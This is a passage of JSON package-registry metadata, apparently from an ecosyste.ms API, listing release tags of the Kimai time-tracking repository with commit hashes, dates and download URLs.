itHub/repositories/kimai%2Fkimai/tags/1.28.1/manifests"},{"name":"1.28.0","sha":"421be6835e2f42a181cd5f1a00adc98cfddaaf29","kind":"commit","published_at":"2022-10-29T16:23:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.28.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.28.0/manifests"},{"name":"1.27.0","sha":"6d7054c18c2f2deccccd7890730c8f3f0619768e","kind":"commit","published_at":"2022-10-19T06:55:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.27.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.27.0/manifests"},{"name":"1.26.0","sha":"1959d4d8df3ce9883f54f51ccd4751984232bae3","kind":"commit","published_at":"2022-10-01T21:25:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.26.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.26.0/manifests"},{"name":"1.25.0","sha":"b38fc9662362c0d8b4c55d487ff1d673db7f943b","kind":"commit","published_at":"2022-09-20T13:53:32.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.25.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.25.0/manifests"},{"name":"1.24.0","sha":"5a2b53900301726339746f5f15d295b5f18543df","kind":"commit","published_at":"2022-09-04T21:55:52.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.24.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.24.0/manifests"},{"name":"1.23.1","sha":"00906851b5e9bdcc6550c6648e823dc759e23a04","kind":"commit","published_at":"2022-09-01T11:15:17.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.23.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.23.1/manifests"},{"name":"1.23.0","sha":"ad20fd1c6422a2155927481d7b0e39367182c7d8","kind":"commit","published_at":"2022-08-30T16:02:44.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.23.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.23.0/manifests"},{"name":"1.22.1","sha":"303ec5be117601fefba1036fdfb57b20af507546","kind":"commit","published_at":"2022-08-01T16:56:48.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.22.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.22.1/manifests"},{"name":"1.22.0","sha":"64c752bea3663d9a9603ffa09c512b0da125d925","kind":"commit","published_at":"2022-08-01T12:45:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.22.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.22.0/manifests"},{"name":"1.21.0","sha":"0dba83d8e9c526c1f30a77175e0b79a9d8e9dae2","kind":"commit","published_at":"2022-07-13T15:21:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.21.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.21.0/manifests"},{"name":"1.20.4","sha":"cdf5a545ebc916ffe1b26e322b101474010b7c14","kind":"commit","published_at":"2022-06-14T11:07:57.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.20.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.4/manifests"},{"name":"1.20.3","sha":"a60df6506257ed3cf709002e390542c1ac3a3f3d","kind":"commit","published_at":"2022-06-11T11:53:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.20.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.3/manifests"},{"name":"1.20.2","sha":"3f827b3104f6512480b3111f5db8755a11ae8de2","kind":"commit","published_at":"2022-05-31T16:08:41.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.20.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.2/manifests"},{"name":"1.20.1","sha":"d5f8655827af45750e8538f49814a0cb4499e351","kind":"commit","published_at":"2022-05-21T11:13:56.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.1/manifests"},{"name":"1.20","sha":"3e6100f368cfcd7d25dc3a7c791b860e0751df2a","kind":"commit","published_at":"2022-05-18T23:36:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20","html_url":"https://github.com/kimai/kimai/releases/tag/1.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20/manifests"},{"name":"1.19.7","sha":"c8098b2e00a56725f25a39f31d710983f649e254","kind":"commit","published_at":"2022-05-07T21:47:32.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.7","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.7/manifests"},{"name":"1.19.6","sha":"100f8a5165c7d455b2a4c79a10a2abf185aaa394","kind":"commit","published_at":"2022-04-29T16:14:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.6/manifests"},{"name":"1.19.5","sha":"76899d2fdb845cce2e1b32445318c656e8d98b75","kind":"commit","published_at":"2022-04-26T16:48:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.5/manifests"},{"name":"1.19.4","sha":"f8bbb3065cd6225cf4659e03575175139a275fa9","kind":"commit","published_at":"2022-04-19T11:12:44.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.4/manifests"},{"name":"1.19.3","sha":"a179719c3eab920f9bdb94014df691b4aae2e927","kind":"commit","published_at":"2022-04-05T16:10:09.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.3/manifests"},{"name":"1.19.2","sha":"f2a8cf0930993e971d5563aca23d16ddb851b54b","kind":"commit","published_at":"2022-04-04T22:59:13.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.2/manifests"},{"name":"1.19.1","sha":"3a7e3b216810ef28b57d900c52ddcd37cc92edd1","kind":"commit","published_at":"2022-03-30T20:23:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.1/manifests"},{"name":"1.19","sha":"6c1d79fe5b658aaa50736e8ca07bd355c06888a3","kind":"commit","published_at":"2022-03-21T22:42:56.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19","html_url":"https://github.com/kimai/kimai/releases/tag/1.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19/manifests"},{"name":"1.18.2","sha":"f7480902b48350392bac74ed34ab74abeaea89f4","kind":"commit","published_at":"2022-03-11T22:50:37.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.18.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.18.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.18.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18.2/manifests"},{"name":"1.18.1","sha":"b08c1565525c6aedcd4730b051bdc7e58c41fadc","kind":"commit","published_at":"2022-02-28T15:32:41.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.18.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18.1/manifests"},{"name":"1.18","sha":"42963ead5c411a79ea830c52bca0926af9056cac","kind":"commit","published_at":"2022-02-27T12:36:52.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.18","html_url":"https://github.com/kimai/kimai/releases/tag/1.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18/manifests"},{"name":"1.17.1","sha":"7a6fab8624556d7b2c8009f74b0a815fb0810bc1","kind":"commit","published_at":"2022-01-25T13:07:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.17.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.17.1/manifests"},{"name":"1.17","sha":"9e320674c174b3f5e6eede6cc7cc95ece1579207","kind":"commit","published_at":"2022-01-23T14:49:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.17","html_url":"https://github.com/kimai/kimai/releases/tag/1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.17/manifests"},{"name":"1.16.10","sha":"9731023014e0b00bfbbc7cfe1bf8069bda670227","kind":"commit","published_at":"2022-01-01T17:12:57.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.10","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.10/manifests"},{"name":"1.16.9","sha":"3621b8c27c57539fbfbf8605ddc111c1385fa576","kind":"commit","published_at":"2021-12-15T16:56:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.9","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.9/manifests"},{"name":"1.16.8","sha":"573fa9f7f3c2edae40299365e6912ccf1dc09bd7","kind":"commit","published_at":"2021-12-09T00:36:58.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.8","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.8/manifests"},{"name":"1.16.7","sha":"22ce6b047aa63f0c8a75e68182dbd9dd5dd99eff","kind":"commit","published_at":"2021-12-08T21:15:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.7","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.7/manifests"},{"name":"1.16.6","sha":"9491f07ade97a78a724b7e1cac2042c0893f9e86","kind":"commit","published_at":"2021-11-29T14:57:39.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.6/manifests"},{"name":"1.16.5","sha":"0464054a2b6a877916bad9964470c8718560ad39","kind":"commit","published_at":"2021-11-24T11:55:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.5/manifests"},{"name":"1.16.4","sha":"b0621642771f65ae297942ca490bf5cba6aaf741","kind":"commit","published_at":"2021-11-24T09:30:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.4/manifests"},{"name":"1.16.3","sha":"ff9acab0fc81f0e9490462739ef15fe4ab028ea5","kind":"commit","published_at":"2021-11-21T15:41:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.3/manifests"},{"name":"1.16.2","sha":"b28e9c120c87222e21a238f1b03a609d6a5d506e","kind":"commit","published_at":"2021-11-18T11:33:13.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.2/manifests"},{"name":"1.16.1","sha":"c858edf5c9f7cbf7360c1be51aaeeb51844da1d6","kind":"commit","published_at":"2021-11-16T20:48:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.1/manifests"},{"name":"1.16","sha":"99ebd1d5033b2e340a98344787c70df231defe49","kind":"commit","published_at":"2021-11-16T11:09:41.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16","html_url":"https://github.com/kimai/kimai/releases/tag/1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16/manifests"},{"name":"1.15.6","sha":"64893e0a953ae5fef82976bd7b7d958bf68c0d97","kind":"commit","published_at":"2021-10-17T22:30:35.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.6/manifests"},{"name":"1.15.5","sha":"bbf25823b804e31fe75570e2dcb2bf3d905e31b6","kind":"commit","published_at":"2021-10-13T16:31:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.5/manifests"},{"name":"1.15.4","sha":"84e25851d3b06c6b7f5dbb30e33af47ca95ad812","kind":"commit","published_at":"2021-10-07T10:40:06.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.4/manifests"},{"name":"1.15.3","sha":"ccb184b17faa63c91249dbfc2812e195ed19e3c2","kind":"commit","published_at":"2021-10-05T13:30:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.3/manifests"},{"name":"1.15.2","sha":"4bb9edb2b52d5f4870407d68d4d0b0108abaea15","kind":"commit","published_at":"2021-09-24T13:16:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.2/manifests"},{"name":"1.15.1","sha":"934a7855b96a9fd8470e3d705c1140d759a75571","kind":"commit","published_at":"2021-09-18T11:15:23.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.1/manifests"},{"name":"1.15","sha":"baff2d78d9179d5a1d8a7ec9aef63e80ecd7dfc7","kind":"commit","published_at":"2021-09-16T22:58:25.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15","html_url":"https://github.com/kimai/kimai/releases/tag/1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15/manifests"},{"name":"1.14.3","sha":"df6bd30d0391aaf70ea84f4d5e7f088e2a48b858","kind":"commit","published_at":"2021-05-21T13:27:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.14.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.3/manifests"},{"name":"1.14.2","sha":"70fd0ae269d3be1ac91798bdbc28ae5d6788e608","kind":"commit","published_at":"2021-05-16T18:36:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.14.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.2/manifests"},{"name":"1.14.1","sha":"dad1b8b772947f1596175add1b4f33b791705507","kind":"commit","published_at":"2021-04-29T16:29:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.14.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.1","manifests_url":"